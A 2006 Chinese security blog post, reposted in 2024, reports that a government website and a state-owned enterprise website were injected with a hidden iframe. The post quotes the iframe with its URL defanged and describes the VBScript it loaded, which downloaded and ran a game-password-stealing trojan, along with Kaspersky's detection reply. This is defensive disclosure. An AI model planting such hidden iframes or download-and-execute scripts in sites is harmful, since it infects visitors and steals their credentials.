[10-01]某政府和某中央企业网站被挂的木马升级了(第2版)

柔光的暖阳◎ 2024-03-16 19:24 12阅读 0赞

**endurer**　原创  
2006-10-01　 第 **2**版 补充 Kaspersky的回复。  
2006-09-30　 第 **1**版

上回发现这两个网站被挂上魔兽网游盗号木马。

如今网站首页被加入的代码变为：  
/------------  
＜iframe height=0 width=0 src="hxxp://\*\*\*object\*\*\*.cnicb\*.com/1\*\*5"＞＜/iframe＞  
\------------/

**hxxp://\*\*\*object\*\*\*.cnicb\*.com/1\*\*5** 的内容为加入多余空格的VBScript脚本代码。

该脚本代码利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 hxxp://\*\*\*object\*\*.cnicb\*.com/1\*\*\*5/s\*\*\*.exe，保存为 %temp%/test.exe，并利用Shell.Application 对象 的 ShellExecute 方法 来运行。

**test.exe** 长度为 58,412 字节。

<table style="MARGIN-BOTTOM: 2px"> 
 <tbody> 
  <tr> 
   <td align="center">主　题：</td> 
   <td style="WORD-BREAK: break-all" colspan="3">RE:&nbsp;test.exe&nbsp;[KLAB-1256458]</td> 
  </tr> 
  <tr> 
   <td align="center">&nbsp;&nbsp;发件人：</td> 
   <td>"" &lt;newvirus@kaspersky.com&gt;&nbsp;&nbsp;</td> 
   <td>发送时间：2006-09-30 20:52:16</td> 
  </tr> 
  <tr style="DISPLAY: none"> 
   <td align="center">&nbsp;&nbsp;收件人：</td> 
   <td colspan="3">"" &lt;endurer@163.com&gt;</td> 
  </tr> 
 </tbody> 
</table>

Hello, thank you, detected as Trojan-PSW.Win32.OnLineGames.m

Detection will be added to the next update.  
\--  
Best regards, Shvetsov Dmitry  
Virus analyst, Kaspersky Lab.

e-mail: [newvirus@kaspersky.com][newvirus_kaspersky.com]  
[http://www.kaspersky.com/][http_www.kaspersky.com]

[newvirus_kaspersky.com]: mailto:newvirus@kaspersky.com
[http_www.kaspersky.com]: http://www.kaspersky.com/